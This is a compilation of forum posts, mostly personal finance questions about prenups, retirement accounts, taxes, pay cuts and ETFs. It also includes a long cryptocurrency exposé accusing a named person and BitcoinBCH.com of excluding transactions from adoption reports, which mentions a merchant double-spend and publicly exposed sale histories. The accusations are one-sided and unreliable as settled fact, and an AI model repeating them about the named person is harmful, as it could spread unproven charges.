previous generations, with years to build up assets and debt on their own. “I got married at 23, so we put nothing and nothing together,” said Louis Cannataro, partner and founder of Cannataro Park Avenue Financial, where he has advised dozens of millennial clients on their prenups. “But when someone’s getting married in their 30s, there’s a different approach.” +> +> That approach accounts for the changing role of women in the work force, too. In 1980, just 13 percent of women who lived with a male partner earned at least half the couple’s income — today, that number has nearly tripled. +> +> So while prenups traditionally protected the party with money — which often was the man, and which often led to resentment — millennials usually tackle the agreements as a team. + +Would love to hear about any success — or failure — stories of folks in here in regards to a prenup, millennial or not. Figured it relates a lot to this community after seeing the recommendation in the article that those with "robust retirement accounts" may want to consider one. +Been saving for a long time. I don't feel confident in my ability to pick stocks, but I know its losing value in a checking account due to inflation. Any advice would be much appreciated. +I'm in my early 20's, single, and contribute 10% of my paycheck per month to my 401k. + +My employer matches 3% which I've already hit, and I max out Roth IRA every year. I have 2 years worth of my salary invested/saved on the side. + +I have no debt and very little expenses. Should I be putting more into my 401k while I can afford to? + +Thanks in advanced. +Partner and I plan on making large life changes in about 9 years (kids gotta grow up and such), and I want to start saving for it now. I can only contribute about $15 from each paycheck, or $30 a month. I'd like it to be automatically deducted each paycheck. Wondering if there's a smarter way to do this than just a traditional savings account. I don't want to touch the money until it's time to spend it all. Thank you for your help! +Partner and I plan on making large life changes in about 9 years (kids gotta grow up and such), and I want to start saving for it now. I can only contribute about $15 from each paycheck, or $30 a month. I'd like it to be automatically deducted each paycheck. Wondering if there's a smarter way to do this than just a traditional savings account. I don't want to touch the money until it's time to spend it all. Thank you for your help! +My wife and I bring in a combined ~130k pre-tax. We just married and want to know if it’s better to file taxes separately or jointly. + +I do have a significant amount of student debt from professional school (~250k) and this would affect my income based repayment, so I’d lean towards a lower monthly payment (so I can put more into equities and eventually use PSLF for the loans) - this is a different topic of conversation. + +But basically, what are other advantages/disadvantages of filing separately? +56 Hours, $19.23/hr, $1,076.88 YTD, $1,076.88 Net + +Taxes: + +Ny Paid Leave - $1.65 Ny City Resident - $37.77 Medicare Employee Addl Tax - $0 Federal Withholding - $141.00 Social Security Employee - $66.77 Medicare Employee - $15.61 Ny Withholding - $52.52 Ny Disability Employee - $0.60 + +Total Taxes - $315.92 +The company I work at (~45 employees in the tech industry) does not offer any financial retirement benefits. + +They do, however, offer a monthly bonus every time we hit our sales goal which can be up to 5% of our yearly salary. If we were to get a retirement benefit that amount would be lowered. + +My boss asked me to put together a proposal as to why the company should implement 401ks (or an IRA) and the cost associated with the benefit. + +I have no idea where to start in terms of which plans are viable and building a detailed argument for this benefit but I’m very passionate about saving for my future. + +Any advice is welcomed and appreciated. +The Internal Revenue Service announced that interest rates will increase for the calendar quarter beginning January 1, 2023. The new rates are: + +• Seven (7) percent for individual overpayments (refunds) + +• Seven (7) percent for individual underpayments (balance due) + +Under the Internal Revenue Code, the rate of interest is determined on a quarterly basis. For Taxpayers other than corporations, the overpayment and underpayment rate is the federal short-term rate plus 3 percentage points. + +Source, at IRS.gov: + +https://www.irs.gov/newsroom/interest-rates-increase-for-the-first-quarter-of-2023 +This past Friday, as soon as I came home from work, my parents kicked me out. I’m not the most perfect son, but I work every day and I’ve been trying to figure out my future. Things came to fruition that afternoon. My mom told me if I was to continue living there at 22 years old that I needed to give her my entire paycheck. She said she will “spend it as she chooses.” She also said I needed to find a second job to pay for the rent ($1000) and that I was not allowed to leave our house unless with her permission. + + +Long story short, I left and a buddy took me in about 35 minutes away, rent free, from my house and my work. I have no car and because of my daily limit at the ATM, i was only able to take out $500. My mom got the rest before I could on Saturday. + +My boss is set on giving me a promotion (something I’ve worked seven years for) and I don’t want to leave my job. I spoke to him yesterday and told him that it’s near impossible for me to come to work now considering I don’t have a vehicle or anything. He’s super understanding but he told me to take my time and he’ll help me work through it. + +I have no clue what to do. Im looking for a cheap car, I don’t want to leave my job…..I just have no possible idea what i could do. + + +EDIT: Thank you everyone for the help. I just got a new bank account today. I had to pay 40 bucks to close out my new account because yesterday my mom withdrew 150 and put me in the negative. I still have some money left and i’m thinking of maybe taking out a small loan for a car as i will have enough money for the car payments and loan payments as long as i can get to work. + + +Second edit: the reason i haven’t responded is because +1. i didn’t know this would blow up +2. my buddies wi-fi got shut up cause his mom forgot to pay the bill and my mom turned mine off. it’s figured out now +So I’ve found a house I love in Melbourne (I know, I know, don’t get too invested emotionally…) and it’s going to auction this weekend. I’m a woman, young, and probably don’t have a lot of clout in a scenario like this. + +I can afford to purchase quite a bit over the bottom range of the scale provided, and just under the maximum. Quite frankly, the reserve could be 10% over the maximum and if that’s the case, it’s over. But just in case it isn’t, what are your best tips on bidding at auction? I’ll be there with my partner - some tips we have had are: + +- don’t look uncertain or discuss with your partner (know your absolute limit, and bid confidently without needing to confer) +- bid in $5k increments to show confidence + +Any other advice? I’m fully aware of societal perception biases, as I’ve encountered this as a young(er) person but also as a woman - are we better to find someone who looks more established to bid on our behalf and “scare” the competition? Or can we do this ourselves? + +I’m just hoping the current market is making people more timid…or they could not be phased like us because they love the place as much as we do. + +For context, it’s an inner city suburb in a great location…pray for me. And no, I won’t be doing over budget no matter how much we love it. +# Everybody who has posted this on r/btc has been banned according to modlog. Total of 7 users so far. Don't post this on r/btc or you will get banned. If you get banned comment on this thread or PM me. + +# March 2020: + +# According to r/btc [modlogs](https://moddit.ffff00.news/r/btc), /u/bch4god has been banned because he questioned the February report with this [comment](https://np.reddit.com/r/btc/comments/fdmsne/bch_dominates_physical_merchant_trade_with_97_of/fjj9ce6/). + +# According to r/btc [modlogs](https://moddit.ffff00.news/r/btc), /u/ISeeGregPeople has been banned because he linked to this thread in his [comment](https://np.reddit.com/r/btc/comments/fcnult/in_australia_bitcoin_cash_cannot_be_stopped/fjcufz2/). + +**** + +# February 2020: +# According to r/btc [modlogs](https://moddit.ffff00.news/r/btc), /u/whene-is-satoshi has been banned because he linked to this thread in his [comment](https://np.reddit.com/r/btc/comments/ej7t8e/bitcoinbchcom_accidentally_publishes_onchain/fcxi8h1/). + +*** + +# January 2020: +# According to r/btc [modlogs](https://moddit.ffff00.news/r/btc), /u/cryptokittykiller's post has been removed for linking to this thread. + +# According to r/btc [modlogs](https://moddit.ffff00.news/r/btc), /u/bashcalf has now been banned for linking to this thread. + +# According to r/btc [modlogs](https://moddit.ffff00.news/r/btc), /u/EnterLayer2 has now been banned for this [post](http://removeddit.com/r/btc/comments/ejeluy/post_proving_bitcoinbchcom_fakes_adoption_metrics/) pointing out that this thread has reached 1000 upvotes. + +# This article was posted by /u/bitcoinsatellite on r/btc [here](https://www.removeddit.com/r/btc/comments/eipd1y/hayden_otto_inadvertently_publishes_irrefutable). Once it reached frontpage it got deleted and OP was banned from r/btc and r/bitcoincash as a result. + +*** + +*Disclaimer: I am not and have never been affiliated with any of the mentioned parties in a private or professional matter.* + +Presumably in an attempt to smear a local competitor, Hayden Otto inadvertently publishes irrefutable on-chain proof that he excluded non-BCH retail revenue to shape the "BCH #1 in Australia" narrative. + + +- Scroll down to **"Proof of exclusion"** if you are tired of the drama recap. +- Scroll down to **"TLDR"** if you want a summary. + +**** + +## Recap +In September 2019, BitcoinBCH.com started publishing so called monthly "reports" about crypto retail payments in Australia. They claimed that **~90% of Australia's crypto retail revenue is processed via their own HULA system** and that **~92% of all crypto retail revenue happens in BCH**. + +They are aggregating two data sources to come up with this claim. + +One is **TravelByBit (TBB)** who *publishes* their PoS transactions (BTC, LN, ETH, BNB, DASH, BCH) live on a [ticker](https://travelbybit.com/stats). + +The other source is **HULA**, a newly introduced POS system (BCH only) and direct competitor to TBB run by BitcoinBCH.com - the same company who created the report. Despite being on-chain their transactions are *private*, not published and not verifiable by third parties outside BitcoinBCH.com + +Two things stood out in the "reports", noted by multiple users (including vocal BCH proponents): + +- **The non-BCH parts must have tx excluded and the report neglects to mention it** (the total in their TBB analysis does not match what is reported on the TBB website.) +- **The BCH part has outliers included** (e.g. BCH city conference in September with 35x the daily average) + +The TBB website loads the historic tx data in the browser but hides transactions older than 7 days from being displayed, i.e. you can access more than 7 days worth of data if you understand JavaScript and can read the source code ([source](https://np.reddit.com/r/btc/comments/dklkwc/92_of_australias_crypto_retail_volume_is_in_bch/f4mnfas/)). + + +## Hayden Otto's reaction + +In direct response to me publishing these findings on r/btc, Hayden Otto - an employee at BitcoinBCH.com and the author of the report who also happens to be a moderator of /r/BitcoinCash - banned me immediately from said sub ([source](https://np.reddit.com/r/btc/comments/dincg5/ucryptostrategies_banned_me_from_rbitcoincash_for/)). + +In subsequent discussion (which repeated for every monthly "report" which was flawed in the same ways as described above), Hayden responded using the same tactics: + +*** + +**"No data was removed"** + +> "The guy is straight out lying. There is guaranteed no missing tx as the data was collected directly from the source." ([source](https://np.reddit.com/r/btc/comments/ds0967/october_report_for_australian_crypto_expenditure/f6nldiy/)) + +**** + +**"Only data I considered non-retail was removed"** + +> "I also had these data points and went through them to remove non-retail transactions, on both TravelbyBit and HULA." ([source](https://np.reddit.com/r/btc/comments/dibzek/crypto_payments_not_adding_up_for_australia_and/f3vu2dh/)) + +He admits to have removed non-BCH tx by "Game Ranger" because he considers them non-retail ([source](https://np.reddit.com/r/btc/comments/e7r421/bitcoin_cash_represents_93_of_novembers_crypto/fa8z3ox/)). He also implies they might be involved in money laundering and that TBB might fail their AML obligations in processing Game Ranger's transactions ([source](https://np.reddit.com/r/btc/comments/e7r421/bitcoin_cash_represents_93_of_novembers_crypto/fa8vclc/)). + +The report does not mention any data being excluded at all and he still fails to explain why several businesses that are clearly retail (e.g. restaurants, cafes, markets) had tx excluded ([source](https://np.reddit.com/r/btc/comments/dqfcmz/bitcoin_cash_bch_outspent_bitcoin_core_btc_by_a/f65izlk/)). + +**** + +**"You are too late to prove I altered the data"** + +> "[...] I recorded [the data] manually from https://travelbybit.com/stats/ over the month of September. The website only shows transactions from the last 7 days **and then they disappear. No way for anyone to access stats beyond that.**" ([source](https://np.reddit.com/r/btc/comments/dicdh3/bitcoinbchcoms_bch_is_1_in_australia_report_is/f3wip9j/)) + +Fortunately you can, if you can read the website's source code. But you need to know a bit of JavaScript to verify it yourself, so not an ideal method to easily prove the claim of data exclusion to the public. But it laters turns out Hayden himself has found an easier way to achieve the same. + +*** + +**"The report can't be wrong because it has been audited."** + +In response to criticism about the flawed methodology in generating the September report, BitcoinBCH.com hired an accountant from a regional Bitcoin BCH startup to "audit" the October report. This is remarkable, because not only did their reported TBB totals still not match those from the TBB site - their result was mathematically impossible. How so? No subset of TBB transaction in that month sums up to the total they reported. So even if they excluded retail transactions at will, they still must have messed up the sum ([source](https://np.reddit.com/r/btc/comments/ds11om/the_markets_have_yet_to_pricein_bitcoin_cashs/f6mui0q/)). Why didn't their auditor notice their mistake? She said she "conducted a review based on the TravelByBit data **provided to her**", i.e. the data acquisition and selection process was **explicitly excluded from the audit** ([source](https://bitcoinbch.com/assets/img/blog/october-report/october2019audit.pdf)). + +*** +**"You are a 'pathetic liar', a 'desperate toll', an 'astroturf account' and 'a total dumb ass' and are 'pulling numbers out of your ass!'"** + + +Since he has already banned me from the sub he moderates, he started to resort to ad hominems ([source](https://np.reddit.com/r/btc/comments/dqfcmz/bitcoin_cash_bch_outspent_bitcoin_core_btc_by_a/f68ppam/), [source](https://np.reddit.com/r/btc/comments/e7r421/bitcoin_cash_represents_93_of_novembers_crypto/fa8pbgh/), [source](https://np.reddit.com/r/btc/comments/e7r421/bitcoin_cash_represents_93_of_novembers_crypto/fa8vclc/), [source](https://np.reddit.com/r/btc/comments/e7r421/bitcoin_cash_represents_93_of_novembers_crypto/fa8zaca/)). + +## Proof of exclusion + +I published raw data as extracted from the TBB site after each report for comparison. Hayden responded that I made those numbers up and that I [was pulling numbers out of my ass](https://np.reddit.com/r/btc/comments/e7r421/bitcoin_cash_represents_93_of_novembers_crypto/fa8zaca/). + +Since he was under the impression that + +> "The website only shows transactions from the last 7 days **and then they disappear. No way for anyone to access stats beyond that.**" ([source](https://np.reddit.com/r/btc/comments/dicdh3/bitcoinbchcoms_bch_is_1_in_australia_report_is/f3wip9j/)) + +he felt confident to claim that I would be + +> unable to provide a source for the [missing] data and/or **prove that that data was not already included in the report**. ([source](https://np.reddit.com/r/btc/comments/dklkwc/92_of_australias_crypto_retail_volume_is_in_bch/f4j4o6z/)) + +Luckily for us Hayden Otto seems to dislike his competitor TravelByBit so much that he attempted to reframe Bitcoin's RBF feature as a vulnerability specific to TBB PoS system ([source](https://np.reddit.com/r/btc/comments/ecdze0/at_this_very_moment_you_can_go_and_double_spend/)). + +While doublespending a merchant using the TBB PoS he wanted to prove that the merchant successfully registered the purchase as complete and thus exposed that **the PoS sales history of TBB's merchants are available to the public** ([source](https://youtu.be/lLkiu8zs318?t=329)), in his own words: + +> "You can literally access it from a public URL in the Web browser. There is no login or anything required, just type in the name of the merchant." ([source](https://np.reddit.com/r/btc/comments/eeqx9n/australia_travelbybit_crypto_pos_provider_is/fbwd0tn/)) + +As of yet it is unclear if this is intentional by TBB or if Hayden Ottos followed the rules of responsible disclosure before publishing this kind of data leak. + +As it happens, those sale histories do not only include the merchant and time of purchases, they **even include the address the funds were sent to (in case of on-chain payments)**. + +This gives us an easy method to prove that the purchases from the TBB website missing in the reports belong to a specific retail business and actually happened - something that is impossible to prove for the alleged HULA txs. + +In order to make it easier for you to verify it yourself, we'll focus on a single day in the dataset, **September 17th, 2019** as an example: + +- Hayden Otto's report claims **20 tx and $713.00** in total for that day ([source](https://bitcoinbch.com/blog/Australian-Cryptocurrency-Expenditure-at-Retail-Businesses.html)) +- The TBB website listed **40 tx and a total of $1032.90** ([daily summary](https://np.reddit.com/r/btc/comments/dibzek/crypto_payments_not_adding_up_for_australia_and/f3x07i2/)) +- Pick a merchant, e.g. "The Stand Desserts" +- Use Hayden's "trick" to access that merchants public sale history at https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts, sort by date to find the 17th Sep 2019 and look for a transaction at 20:58 for $28. This proves that a purchase of said amount is associated with this specific retail business. +- Paste the associated crypto on-chain address `17MrHiRcKzCyuKPtvtn7iZhAZxydX8raU9` in a blockchain explorer of your choice, e.g like [this](https://blockchair.com/bitcoin/address/17MrHiRcKzCyuKPtvtn7iZhAZxydX8raU9). This proves that a transfer of funds has actually happened. + +I let software aggregate the TBB statistics with the public sale histories and you'll find at the bottom of this post a table with the on-chain addresses conveniently linked to blockchain explorers for our example date. + +The total of **all 40 tx is $1032.90** instead of the $713.00 reported by Hayden. 17 tx of those have a corresponding on-chain address and thus have undeniable proof of $758.10. Of the remaining 23, 22 are on Lightning and one had no merchant history available. + +This is just for a single day, here is a comparison for the whole month. + +| Description | Total | +| - | - | +| TBB Total | $10,502| +| TBB wo. Game Ranger|$5,407| +| TBB according to Hayden|$3,737| + +## What now? + +The usual shills will respond in a predictive manner: The data must be fake even though its proof is on-chain, I would need to provide more data but HULA can be trusted without any proof, if you include outliers BCH comes out ahead, yada, yada. + +But this is not important. I am not here to convince them and this post doesn't aim to. + +The tx numbers we are talking about are less than 0.005% of Bitcoin's global volume. If you can increase adoption in your area by 100% by just buying 2 coffees more per day you get a rough idea about how irrelevant the numbers are in comparison. + +What is relevant though and what this post aims to highlight is that BitcoinBCH.com and the media outlets around news.bitcoin.com flooding you with the BCH #1 narrative are playing dirty. They feel justified because they feel that Bitcoin/Core/Blockstream is playing dirty as well. I am not here to judge that but you as a reader of this sub should be aware that this is happening and that you are the target. + +When BitcoinBCH.com excludes $1,000 Bitcoin tx because of high value but includes $15,000 BCH tx because they are made by "professionals", you should be sceptical. + +When BitcoinBCH.com excludes game developers, travel businesses or craftsmen accepting Bitcoin because they don't have a physical store but include a lawyer practice accepting BCH, you should be sceptical. + +When BitcoinBCH.com excludes restaurants, bars and supermarkets accepting Bitcoin and when pressed reiterate that they excluded **non-retail** businesses without ever explaning why a restaurant shouldn't be considered reatil, you should be sceptical. + +When BitcoinBCH.com claims the reports have been audited but omit that the data acquisition was not part of the audit, you should be sceptical. + +I expect that BitcoinBCH.com will stop removing transactions from TBB for their reports now that it has been shown that their exclusion can be provably uncovered. I also expect that HULA's BCH numbers will rise accordingly to maintain a similar difference. + +Hayden Otto assumed that nobody could cross-check the TBB data. He was wrong. Nobody will be able to disprove his claims when HULA's BCH numbers rise as he continues to refuse their release. You should treat his claims accordingly. + +As usual, do your own research and draw your own conclusion. Sorry for the long read. + +## TLDR + +- BitcoinBCH.com claimed no transactions were removed from the TBB dataset in their BCH #1 reports and that is impossible to prove the opposite. +- Hayden Otto's reveals in a double spend attempt that a TBB merchant's sale history can be accessed publicly including the merchant's on-chain addresses. +- This table shows 40 tx listed on the TBB site on sep 17th, including their on-chain addresses where applicable. +- The BitcoinBCH.com report lists only 20 tx for the same day. + +| No. | Date | Merchant | Asset | Address | Amount | Total | +| - | - | - | - | - | - | - | +| 1 | 17 Sep 19 09:28 | LTD Espresso | Lightning | Unable to find merchant history. | 4.50 | 4.50 | +| 2 | 17 Sep 19 09:40 | LTD Espresso | Binance Coin | Unable to find merchant history. | 4.50 | 9.00 | +| 3 | 17 Sep 19 13:22 | [Josh's IGA Murray Bridge West](https://www.livingroomofsatoshi.com/merchanthistory/joshsiga) | Ether | [0x40fd53aa...b6de43c531](https://blockchair.com/ethereum/address/0x40fd53aa42498f38e9df68caf01420b6de43c531) | 4.60 | 13.60 | +| 4 | 17 Sep 19 13:23 | [Nom Nom Korean Eatery](https://www.livingroomofsatoshi.com/merchanthistory/nomnom) | Lightning | lnbc107727...zkcqvvgklf | 16.00 | 29.60 | +| 5 | 17 Sep 19 13:24 | [Nom Nom Korean Eatery](https://www.livingroomofsatoshi.com/merchanthistory/nomnom) | Lightning | lnbc100994...mkspwddgqw | 15.00 | 44.60 | +| 6 | 17 Sep 19 14:02 | [Nom Nom Korean Eatery](https://www.livingroomofsatoshi.com/merchanthistory/nomnom) | Binance Coin | [bnb1w5mwu9...552thl4ru5](https://explorer.binance.org/txs?address=bnb1w5mwu95vx9qr9stv5g70p9sv96td552thl4ru5) | 30.00 | 74.60 | +| 7 | 17 Sep 19 15:19 | [Dollars and Sense (Fortitude Valley)](https://www.livingroomofsatoshi.com/merchanthistory/dollarsandsense) | Lightning | lnbc134780...93cpanyxfg | 2.00 | 76.60 | +| 8 | 17 Sep 19 15:34 | [Steph's Cafe](https://www.livingroomofsatoshi.com/merchanthistory/stephscafe) | Binance Coin | [bnb124hcjy...ss3pz9y3r8](https://explorer.binance.org/txs?address=bnb124hcjygd7n0u064j4q0cjug6kkkyss3pz9y3r8) | 57.50 | 134.10 | +| 9 | 17 Sep 19 19:37 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Binance Coin | [bnb13f58s9...qqc7fxln7s](https://explorer.binance.org/txs?address=bnb13f58s9nmle36hdj9cdjp3em4l2tmqqc7fxln7s) | 18.00 | 152.10 | +| 10 | 17 Sep 19 19:59 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc575880...48cpl0z06q | 8.50 | 160.60 | +| 11 | 17 Sep 19 20:00 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc575770...t8spzjflym | 8.50 | 169.10 | +| 12 | 17 Sep 19 20:13 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc202980...lgqp5ha8f4 | 3.00 | 172.10 | +| 13 | 17 Sep 19 20:21 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc577010...decq7r4p05 | 8.50 | 180.60 | +| 14 | 17 Sep 19 20:24 | [Fat Dumpling](https://www.livingroomofsatoshi.com/merchanthistory/fatdumpling) | Lightning | lnbc217145...9dsqpjjr6g | 32.10 | 212.70 | +| 15 | 17 Sep 19 20:31 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc574530...wvcpp3pcen | 8.50 | 221.20 | +| 16 | 17 Sep 19 20:33 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc540660...rpqpzgk8z0 | 8.00 | 229.20 | +| 17 | 17 Sep 19 20:37 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc128468...r8cqq50p5c | 19.00 | 248.20 | +| 18 | 17 Sep 19 20:39 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc135220...cngp2zq6q4 | 2.00 | 250.20 | +| 19 | 17 Sep 19 20:45 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc574570...atcqg738p8 | 8.50 | 258.70 | +| 20 | 17 Sep 19 20:51 | [Fat Dumpling](https://www.livingroomofsatoshi.com/merchanthistory/fatdumpling) | Lightning | lnbc414190...8hcpg79h9a | 61.20 | 319.90 | +| 21 | 17 Sep 19 20:53 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc135350...krqqp3cz8z | 2.00 | 321.90 | +| 22 | 17 Sep 19 20:58 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Bitcoin | [17MrHiRcKz...ZxydX8raU9](https://blockchair.com/bitcoin/address/17MrHiRcKzCyuKPtvtn7iZhAZxydX8raU9) | 28.00 | 349.90 | +| 23 | 17 Sep 19 21:02 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Bitcoin | [1Hwy8hCBff...iEh5fBsCWK](https://blockchair.com/bitcoin/address/1Hwy8hCBffqFVc9w529QkmJ6iEh5fBsCWK) | 10.00 | 359.90 | +| 24 | 17 Sep 19 21:03 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc743810...dvqqnuunjq | 11.00 | 370.90 | +| 25 | 17 Sep 19 21:04 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc114952...2vqpclm87p | 17.00 | 387.90 | +| 26 | 17 Sep 19 21:10 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc169160...lpqqqt574c | 2.50 | 390.40 | +| 27 | 17 Sep 19 21:11 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc575150...40qq9yuqmy | 8.50 | 398.90 | +| 28 | 17 Sep 19 21:13 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc947370...qjcp3unr33 | 14.00 | 412.90 | +| 29 | 17 Sep 19 21:15 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Binance Coin | [bnb1tc2vva...xppes5t7d0](https://explorer.binance.org/txs?address=bnb1tc2vvavgyde3k3uy07935ej7yf09xppes5t7d0) | 16.00 | 428.90 | +| 30 | 17 Sep 19 21:16 | [Giardinetto](https://www.livingroomofsatoshi.com/merchanthistory/giardinetto) | Binance Coin | [bnb1auyep2...w64p6a6dlk](https://explorer.binance.org/txs?address=bnb1auyep2g9x8rsyv5u8v7gernyd877w64p6a6dlk) | 350.00 | 778.90 | +| 31 | 17 Sep 19 21:25 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | BCH | [3H2iJaKNXH...5sxPk3t2tV](https://blockchair.com/bitcoin-cash/address/3H2iJaKNXH5eeHubiMxHhsAC5sxPk3t2tV) | 7.00 | 785.90 | +| 32 | 17 Sep 19 21:39 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Binance Coin | [bnb17r7x3e...avaxwumc58](https://explorer.binance.org/txs?address=bnb17r7x3ehfcvjtz9lx9uv788mc7j0mavaxwumc58) | 8.00 | 793.90 | +| 33 | 17 Sep 19 21:47 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | BCH | [32kuPYT1tc...uFQwgsA5ku](https://blockchair.com/bitcoin-cash/address/32kuPYT1tcji9xSZBjqwi5pTuFQwgsA5ku) | 18.00 | 811.90 | +| 34 | 17 Sep 19 21:52 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | BCH | [3ELPvxtCSy...4QzvfVJsNZ](https://blockchair.com/bitcoin-cash/address/3ELPvxtCSydAWRgApm9FvS2W4QzvfVJsNZ) | 36.00 | 847.90 | +| 35 | 17 Sep 19 21:56 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Lightning | lnbc677740...acsp04sjeg | 10.00 | 857.90 | +| 36 | 17 Sep 19 22:04 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | BCH | [38b4wHg9cg...9L2WXC2BSK](https://blockchair.com/bitcoin-cash/address/38b4wHg9cgt4epjn9QLSDAWn9L2WXC2BSK) | 54.00 | 911.90 | +| 37 | 17 Sep 19 22:16 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Binance Coin | [bnb14lylhs...x6wz7kjzp5](https://explorer.binance.org/txs?address=bnb14lylhskmtr2gv6m9s7ldxjnd0a22x6wz7kjzp5) | 18.00 | 929.90 | +| 38 | 17 Sep 19 22:21 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | BCH | [3L8SK3Hr7u...F3htdSPxfL](https://blockchair.com/bitcoin-cash/address/3L8SK3Hr7uCVZ17XZ1r3UKVyF3htdSPxfL) | 90.00 | 1019.90 | +| 39 | 17 Sep 19 22:30 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | Binance Coin | [bnb19w6tle...774uknv57t](https://explorer.binance.org/txs?address=bnb19w6tlelfezu3anp0ljc5f0z7r7a3774uknv57t) | 5.00 | 1024.90 | +| 40 | 17 Sep 19 22:48 | [The Stand Desserts](https://www.livingroomofsatoshi.com/merchanthistory/thestanddesserts) | BCH | [3Qag8c4UYg...9EYuWzGjhs](https://blockchair.com/bitcoin-cash/address/3Qag8c4UYgyHRb9mFvUGM3yN9EYuWzGjhs) | 8.00 | 1032.90 | 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If you're looking to familiarize yourself with the GME bull thesis or the underhanded tactics of the short sellers involved in this trade– then this is for you + +# 🟣 [Computershare Megathread](https://www.reddit.com/r/Superstonk/comments/wedijp/drscomputershare_megathread_082022/) + +>Wondering what DRS is? Want to know how and why people are Direct Registering their shares? Here you'll find our guide and additional resources, as well as a welcoming community answering questions in the comments! + +# 🥢 [4:1 Split/Dividend Megathread](https://redd.it/vtvbl8) + +>On July 6, 2022, GameStop Corp. (the “Company”) issued a press release announcing that its Board of Directors had approved and declared a four-for-one stock split in the form of a stock dividend. Each Company stockholder of record at the close of business on July 18, 2022 will receive three additional shares of the Company’s Class A common stock for each then-held share of Class A common stock, to be distributed after the close of trading on July 21, 2022. + +# 🏴‍☠️ [NFT Marketplace & Wallet Megathread](https://www.reddit.com/r/Superstonk/comments/vluysg/gamestop_nft_marketplace_wallet_megathread/) + +>Why is GameStop getting into NFTs? *WTF* even is an NFT? How do I set up a GameStop Wallet? How do I get a cool/custom wallet address? All these questions and more are answered here! + +**Read** [**the Rules & Wiki**](https://www.reddit.com/r/Superstonk/wiki/index) **||** [**MOASS FAQ**](https://www.reddit.com/r/Superstonk/wiki/index/faq) **|| Join our** [**Discord**](https://discord.gg/Superstonk) + +How to [feed DRSBOT](https://www.reddit.com/r/GMEOrphans/comments/qlvour/welcome_to_gmeorphans_read_this_post/). Low karma? Post your DRS on r/GMEOrphans + +How to [Filter by Flair & Search](https://www.reddit.com/r/Superstonk/comments/v0oxp2/how_to_filter_by_flair_search_for_posts_on/) on Superstonk + +Tag u/Superstonk-Flairy for user flairs, find [custom emoji options here](https://www.reddit.com/r/Superstonk/comments/v89p0h/new_superstonk_user_flair_emojis_how_to_edit_your/) +In a company-wide meeting yesterday, we were told that every salaried employee in the company will get a 10-20% decrease, effective 4/10 and for the foreseeable future. On 5/1 all 401K matching is going away. Apparently we have required paperwork to sign before 3/31 for these new W4s. I'm just at a loss about what to think here. They say we'll get reinstated at normal salary rates once this is all over and will then receive back-pay, but by signing a new W4 it seems to me like I'm legally agreeing to accept a newer, lower salary no matter what. Will I have recourse to ever get my old salary back if I sign this? It appears that signing is non-negotiable. Can anyone advise here? + +EDIT: Some thoughts to ponder for the people sending me all kinds of nasty messages - look, I understand that I'm in a better situation than some, but we (myself and others in a similar boat) are still allowed to be confused and scared and worried about what's happening to us, too. I also realize that a lot of people are angry, but please check your rage and try to channel it into something less destructive. +So these are the ETFs I have been buying over time..at least I think these are all ETFs - +O, SCHD, SPHD, SPYD, SPY, BRK-B, ARKK, ARKQ, ARKG, ARKW, ARKF, ARKX, QQQJ, QQQ, FHLC. +I bought 1 of each ETF and every week I put money in, find one that's in the red from my purchase price (or if all green just finding something interesting and new and buying it) some of these I own 100 shares, some only 10 because they simply didn't go red often. + +My questions are, Am I investing in too many ETFs at once? Do I need to diversify more, 1/3 of my portfolio is spread among ARK? Further on diversifying, when reading through posts on here I have noticed many people repeating the same ETFs. I've spent much more time in crypto and have learned to stay away from investments in cryptos that everyone is talking about simply because it's usually too late to buy in at that point...on the other hand for a long term hold ETF should I actually be picking out the hot ETFs everyone's buzzing about? + +Thanks for any input. New to this group. +I found this etf by scrolling through [etfdb.com](https://etfdb.com) 's 3 year and 5 year returns tab. This doesn't have 5 year returns since its inception is May 20, 2019. + +Here is its page with a quick video and link to its factsheet: [https://qraftaietf.com/qrft](https://qraftaietf.com/qrft) + +It uses factors (according to its factsheet they are: quality, size, valuation, momentum, and low risk) then it uses AI to weight them to choose 300-350 